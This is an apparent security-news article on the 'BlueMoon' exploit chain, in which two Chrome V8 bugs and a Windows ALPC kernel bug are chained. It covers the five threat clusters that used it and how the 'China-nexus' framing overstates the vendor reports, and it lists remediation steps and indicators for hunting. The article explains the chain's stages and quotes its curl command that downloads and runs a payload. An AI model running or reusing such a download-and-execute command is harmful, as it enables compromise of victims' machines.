CVE Tools
Track your stack
A browser tab opening a door down through layers of a locked Windows system, three glowing cracked padlocks along the path, dark blue security-research aesthetic

Five Spy Clusters Picked Up the Same Exploit Chain in Six Days. Only One Is a Confirmed Nation-State Actor.

BlueMoon turns a patch-gap Chrome bug into full Windows kernel access in three stages. Two research teams caught five different operators using it almost simultaneously — but the "four China-nexus actors" framing going around this month overstates what Proofpoint's own report actually says.

CVE Tools5 min read

CVE-2026-85046In CISA KEVEPSS today 49%, 99th percentileCVSS 8.8Open the record

On August 7, 2026, a fix for a Chrome V8 bug landed in the open Chromium source tree. It did not reach a stable Chrome release for another 27 days. In that window, someone built a three-stage exploit chain around the still-unpatched flaw, and by the time Google shipped the fix, at least five separate espionage operations were already using it — some of them before Google had even finished rolling the patch out everywhere.

The chain is now tracked as BlueMoon: two Chrome V8 bugs for code execution and sandbox escape, then a Windows kernel bug for privilege escalation. Proofpoint and Volexity published independent research on it within a day of each other in mid-September, and together their findings are more interesting — and more carefully hedged — than the "four China-nexus actors" shorthand that has circulated since.

3CVEs chainedTwo Chrome V8 bugs + one Windows ALPC kernel bug
27 daysPatch-gap windowChromium fix committed Aug 7; stable Chrome shipped Sep 3
5distinct threat clusters4 found by Proofpoint, 2 by Volexity — one cluster overlaps both
1 of 5formally attributed to a nationTA412/APT31 only; one cluster is explicitly unattributed to any country
CVE-2026-85046Type confusion in V8 in Google Chrome prior to 152.0.7977.82 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)EPSS 49%CVSS 8.8CVE-2026-87491Out of bounds write in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)EPSS 3.1%CVSS 8.8CVE-2026-85880Windows Advanced Local Procedure Call (ALPC) Elevation of Privilege VulnerabilityEPSS 3.6%CVSS 7.8

The three-stage chain

BlueMoon runs inside a Web Worker and retries up to five times. Stage one abuses a type-confusion bug in V8's optimizing compilers — an array holding PACKED_ELEMENTS gets handed the map for PACKED_SMI_ELEMENTS mid-sort, which gives the attacker a heap-offset leak and addrof/fakeobj primitives for arbitrary read/write on the JS heap. Stage two corrupts WebAssembly compiled-function metadata to redirect execution into shellcode, escaping the V8 sandbox. A reflectively-loaded DLL then fingerprints the host — NT build number, process integrity level, kernelbase.dll version — before deciding whether the local Windows build is vulnerable to stage three: an ALPC- and WNF-based kernel bug that grants kernel read/write and flips on SeDebugPrivilege in the renderer's token. From there, a CreateProcess stub is injected into the browser's parent broker process, which by default runs curl -sS -o "%TEMP%\msgbox.exe" "<url>" && "%TEMP%\msgbox.exe".

BlueMoon: link click to SYSTEM-level code execution

  1. Victim clicks phishing link
  2. CVE-2026-85046: V8 type confusion (heap read/write primitive)
  3. CVE-2026-87491: WASM metadata corruption escapes V8 sandbox
  4. Host fingerprint: NT build, integrity level, kernelbase.dll
  5. CVE-2026-85880: ALPC/WNF kernel bug grants SeDebugPrivilege
  6. CreateProcess stub injected into broker; curl downloads + runs payload

Who picked it up, and how fast

From committed fix to five operators in the wild

  1. CVE-2026-85046 fix committed to Chromium source — not yet in a stable Chrome release
  2. TA412 (JungleBamboo / Violet Typhoon / APT31) is first observed using the chain
    Spear-phishing against US NGOs, mining firms and commodity-trading companies; delivers the GemStone credential-theft extension disguised as a Google Gemini add-on.
  3. UTA0560 begins a separate campaign (Volexity)
    Reflected-XSS redirect through a legitimate US university site, donation-form decoy, GRIMWEDGE JScript backdoor.
  4. UNK_LateNight and UNK_DoubleCheck both start
    UNK_LateNight hits US aerospace firms with RFQ-themed lures, deploying ShadowPad. UNK_DoubleCheck phishes a Vietnamese manufacturer from a compromised Southeast Asian government mailbox; Proofpoint does not attribute this cluster to any country.
  5. UNK_QuietRacket joins in; Chrome 152.0.7977.82 ships, fixing CVE-2026-85046
    Targets government, consulting and financial organizations in Indonesia and Singapore via conference-themed lures.
  6. CISA adds CVE-2026-85046 to KEV — federal deadline Sep 18
  7. Chrome 153.0.8010.36 ships, fixing CVE-2026-87491; CISA adds CVE-2026-85880 to KEV — federal deadline Sep 22
  8. CISA adds CVE-2026-87491 to KEV (deadline Sep 23); Volexity publishes "Mind the (Patch) Gap"
  9. Proofpoint publishes "Once in a BlueMoon," naming four of the five clusters

Five clusters, not four — and not all "China-nexus"

ClusterFirst seenNexus assessment (source)TargetsPayload
TA412 / JungleBamboo / Violet Typhoon / APT31Aug 28China — DoJ-indicted state-linked actorUS NGOs, mining, commodity tradingSUPERSTOMP loader → GemStone/LONGTALE credential-stealing extension
UTA0560Sep 1China — Volexity, high confidence (reused phishing sender + hosting IP)Phishing routed through a US university siteGRIMWEDGE JScript backdoor
UNK_LateNightSep 2China-aligned (Proofpoint)US aerospaceShadowPad via DLL side-loading
UNK_DoubleCheckSep 2Not attributed to a country — "very likely espionage-motivated" (Proofpoint)Vietnamese manufacturerRust-based loader via DLL side-loading
UNK_QuietRacketSep 3Suspected China-aligned (Proofpoint)Indonesia/Singapore govt, consulting, financialUnidentified custom malware over DNS-over-HTTPS C2
The shellcode builds almost certainly originated from the same source.
— Volexity, "Mind the (Patch) Gap" — on the byte-for-byte identical shellcode shared by UTA0560 and JungleBamboo despite different final payloads and infrastructure

That shared shellcode is arguably the most concrete finding in either report. Volexity assesses with low confidence that the exploit chain was sold or otherwise handed to multiple operators in China; with medium confidence that the short window created by the patch gap forced reuse of identical code without modification; and with medium confidence that whoever built the chain reverse-engineered the public Chromium diff rather than finding the bug independently. It stops short of a single-vendor or single-developer claim.

What the KEV deadlines say about risk tiering

All three CVEs landed in CISA's KEV catalog under BOD 26-04, the directive's newer risk-graded remediation model, and all three got the same 14-day federal deadline rather than the 3-day tier reserved for pre-authentication, remotely-exploitable bugs that grant total control of an exposed asset. That tracks: both Chrome bugs need a user to click a link, and the Windows kernel bug (CVSS 7.8, AV:L/AC:L/PR:L) needs local code execution first — it escalates an existing foothold, it doesn't create one. The chain is dangerous because of what it adds up to, not because any single stage is pre-auth-remote on its own.

Remediation

  1. Confirm Chrome (and Chromium-based browsers) are on 153.0.8010.36 or later on Windows/Mac, 153.0.8010.36 on Linux — this covers both CVE-2026-85046 and CVE-2026-87491.
  2. Apply the September 2026 Windows cumulative update for CVE-2026-85880 — it only affects builds 17763 (Win10 1809 / Server 2019), 19041–19045 (Win10 2004–22H2), 20348 (Server 2022) and 22000 (Win11 21H2); newer builds aren't in the vulnerable set.
  3. Hunt for known BlueMoon infrastructure: C2 domains ms.checrity[.]com (ShadowPad/UNK_LateNight) and fracons[.]com (UNK_DoubleCheck's Rust loader), phishing sender ircribbin77@hotmail.com, and hosting IP 206.166.251.164 (UTA0560).
  4. Audit installed Chrome extensions for anything posing as a "Google Gemini" companion — that's the GemStone/LONGTALE delivery disguise used by TA412/JungleBamboo.
  5. Treat any workstation that was still on pre-Sep-3 Chrome with an internet-facing phishing exposure as a suspect endpoint, especially if its Windows build matches the vulnerable list above.

KEV status and exploit data as of 2026-10-08